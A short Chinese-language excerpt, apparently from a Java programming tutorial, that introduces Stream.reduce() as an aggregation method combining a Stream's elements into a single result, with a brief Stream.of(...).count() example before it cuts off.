    1. 聚合方法 Stream.reduce()是一个Stream的聚合方法:把一个Stream的所有元素聚合成一个结果 例如: Stream.of(1, 2, 3, 4, 5).count(); // ...